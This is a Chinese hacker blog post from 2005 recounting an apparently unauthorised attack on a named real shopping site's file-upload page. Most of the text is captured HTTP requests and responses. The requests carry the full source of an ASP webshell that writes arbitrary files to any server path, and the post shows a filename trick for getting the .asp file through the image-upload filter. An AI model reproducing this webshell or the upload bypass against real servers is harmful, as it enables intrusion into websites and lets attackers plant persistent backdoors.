下午5:52分,快吃晚飯了,這段時間里我比較喜歡給忙碌了一天的自己放短假,所以按照習慣就跑去幾個常去的黑客站點看看文章,武漢的315安全網我還是比較喜歡的,東西比較多而且更新的也還算及時。
記得看過一次315安全網里的一位兄臺做過一個他們服務器硬盤權限分配的動畫,了解到是一臺虛擬主機,用自己寫的程序跑了跑,看看有沒有什么可以利用的地方,發現了一個動感購物商城的上傳頁面,呵呵……
http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg
就抓了個包試試看上傳,包的結果如下:
POST /upfile_flash.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d51863950254
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322)
Host: www.whdlwj.com
Content-Length: 3306
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCARBBDSS=NDPLMAIBCAFLEEMECJONPJJJ
-----------------------------7d51863950254
Content-Disposition: form-data; name="filepath"
bookpic/
-----------------------------7d51863950254
Content-Disposition: form-data; name="filelx"
jpg
-----------------------------7d51863950254
Content-Disposition: form-data; name="EditName"
bookpic
-----------------------------7d51863950254
Content-Disposition: form-data; name="FormName"
myform
-----------------------------7d51863950254
Content-Disposition: form-data; name="act"
uploadfile
-----------------------------7d51863950254
Content-Disposition: form-data; name="file1"; filename="G:\backdoor\網頁木馬\海陽ASP木馬\2005\改好的\save.asp"
Content-Type: application/octet-stream
<style type="text/css">
<!--
.unnamed1 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #000000;
text-decoration: none;
}
.style6 {color: #FF0033}
.style7 {color: #000000; }
.style8 {color: #0000FF}
-->
</style>
<div align="center">
<table width="372" border="1" align="center" class="unnamed1">
<tr>
<td align="center" valign="middle"><div align="center">
<p>
<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "<font color=red>Save Success!</font>" %>
<% else %>
<% response.write "<font color=red>Save UnSuccess!</font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='' method=post>" %>
<% Response.write "保存文件的<font color=red>絕對路徑(包括文件名:如D:\web\sys.asp):</font>" %>
</p>
<p>
<% Response.Write "<input type=text name=syfdpath width=32 size=50>" %>
<% Response.Write "<br>" %>
</p>
<p>
<% Response.write "本文件<font color=red>絕對路徑:</font>" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
</p>
<p>
<% Response.write "<br>" %>
<% Response.write "輸入馬的內容:" %>
</p>
<p>
<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>
</p>
<p>
<% Response.write "<input type=submit value=Save>" %>
<% Response.write "</form>" %>
</p>
<p class="style7">Save File Workstation Beautify the version</p>
<p class="style6"> <span class="style8">----Power By Perl</span> </p>
</div></td>
</tr>
</table>
</div>
-----------------------------7d51863950254
Content-Disposition: form-data; name="Submit"
開始上傳
-----------------------------7d51863950254--
按照正常的手段改數據包先進行測試,提交結果返回為:
HTTP/1.1 500 Internal Server Error
Date: Mon, 18 Apr 2005 10:05:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 493
Content-Type: text/html
Cache-control: private
<!--
┌─ o91.com───────────────┐
│ 動感購物商務平臺WWW.SNSN.NET版權所有 │
│ 設計:模糊視線13855119911 QQ:9912515 │
└────────────────────┘
-->
<link href="css.css" rel="stylesheet" type="text/css">
<font face="宋體" size=2>
<p>ADODB.Stream</font> <font face="宋體" size=2>錯誤 '800a0bbc'</font>
<p>
<font face="宋體" size=2>寫入文件失敗。</font>
<p>
<font face="宋體" size=2>/upload_wj.inc</font><font face="宋體" size=2>,行 181<
/font>
從返回數據得知根目錄限制了文件寫入,那我們就換一個目錄,將包里的上傳路徑改為bookpic/sys.asp,字節改為3314,提示如下:
HTTP/1.1 200 OK
Date: Mon, 18 Apr 2005 10:07:54 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 472
Content-Type: text/html
Cache-control: private
<!--
┌─ o91.com───────────────┐
│ 動感購物商務平臺WWW.SNSN.NET版權所有 │
│ 設計:模糊視線13855119911 QQ:9912515 │
└────────────────────┘
-->
<link href="css.css" rel="stylesheet" type="text/css">
<script>window.opener.document.myform.bookpic.value='bookpic/sys.asp200541818754
95496.gif'</script>
<script language="javascript">
window.alert("文件上傳成功!請不要修改生成的鏈接地址!");
window.close();
</script>
嘿嘿,文件上傳成功,不過你別急,看清楚包的返回數據為bookpic/sys.asp20054181875495496.gif,打開這個文件來就是我們的后門文件代碼了。都到這個地方了,傳不上去有點不甘心,認真看看文件名bookpic/sys.asp20054181875495496.gif,怎么樣?有點想法沒有?呵呵……
我們的文件后綴.asp它還保留著呢,只不過在后面給我們加上了一段長長的字符串和gif后綴,讓我們的asp文件變成了gif文件。因為我沒有看過這套程序的上傳文件代碼,所以我就靠經驗來改改這個后門的數據包,讓它截斷后面的部分。改動之后的數據包如下:
POST /upfile_flash.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d51863950254
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322)
Host: www.whdlwj.com
Content-Length: 3316
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCARBBDSS=NDPLMAIBCAFLEEMECJONPJJJ
-----------------------------7d51863950254
Content-Disposition: form-data; name="filepath"
bookpic/wolf.asp
-----------------------------7d51863950254
Content-Disposition: form-data; name="filelx"
jpg
-----------------------------7d51863950254
Content-Disposition: form-data; name="EditName"
bookpic
-----------------------------7d51863950254
Content-Disposition: form-data; name="FormName"
myform
-----------------------------7d51863950254
Content-Disposition: form-data; name="act"
uploadfile
-----------------------------7d51863950254
Content-Disposition: form-data; name="file1"; filename="G:\backdoor\網頁木馬\海陽ASP木馬\2005\改好的\save.asp.gif"
Content-Type: application/octet-stream
<style type="text/css">
<!--
.unnamed1 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #000000;
text-decoration: none;
}
.style6 {color: #FF0033}
.style7 {color: #000000; }
.style8 {color: #0000FF}
-->
</style>
<div align="center">
<table width="372" border="1" align="center" class="unnamed1">
<tr>
<td align="center" valign="middle"><div align="center">
<p>
<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "<font color=red>Save Success!</font>" %>
<% else %>
<% response.write "<font color=red>Save UnSuccess!</font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='' method=post>" %>
<% Response.write "保存文件的<font color=red>絕對路徑(包括文件名:如D:\web\sys.asp):</font>" %>
</p>
<p>
<% Response.Write "<input type=text name=syfdpath width=32 size=50>" %>
<% Response.Write "<br>" %>
</p>
<p>
<% Response.write "本文件<font color=red>絕對路徑:</font>" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
</p>
<p>
<% Response.write "<br>" %>
<% Response.write "輸入馬的內容:" %>
</p>
<p>
<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>
</p>
<p>
<% Response.write "<input type=submit value=Save>" %>
<% Response.write "</form>" %>
</p>
<p class="style7">Save File Workstation Beautify the version</p>
<p class="style6"> <span class="style8">----Power By Perl</span> </p>
</div></td>
</tr>
</table>
</div>
-----------------------------7d51863950254
Content-Disposition: form-data; name="Submit"
開始上傳
-----------------------------7d51863950254--
整個包的大體并沒變化,只需要將第一次修改的數據包里的G:\backdoor\網頁木馬\海陽ASP木馬\2005\改好的\save.gif改為G:\backdoor\網頁木馬\海陽ASP木馬\2005\改好的\save.asp.gif,其余不變,再傳一次。上傳的窗口一閃就關閉了(因為我是用了個BAT來執行提交的),嘿嘿……雖然看不到返回結果,不過我知道這個時候數據已經被我截斷了,文件也正常的變成了asp。再進后門看看,瀏覽器顯示:
該頁無法顯示
您試圖從目錄中執行 CGI、ISAPI 或其他可執行程序,但該目錄不允許執行程序。
--------------------------------------------------------------------------------
請嘗試以下操作:
如果您認為該目錄應該允許執行訪問權限,請與網站管理員聯系。
HTTP 錯誤 403.1 - 禁止訪問:執行訪問被拒絕。
Internet 信息服務 (IIS)
嘿嘿……有這個顯示就說明OK了,可以上傳ASP文件了,之后又換了換目錄試試,都不允許寫入文件^_^!。這個圖片目錄也不允許執行我們的后門。
畢竟是安全站點的主機,在目錄限制和權限設置這方面做的還可以,要不一會就被人黑了可就羞大了^_^。到這里,我做的整個測試就結束了,不知道看完了大家有什么感想,雖然并沒有拿到SHELL,其實我想突出講的一點是文章中的思路,以及平時需要的是多積累經驗,在應用的再多留心一點,那發現一點點小東西并不是特別的困難^_^。(文章看的不爽的別拿雞蛋丟,我吃的怕了,拿錢咂我好了,我窮啊~~~)。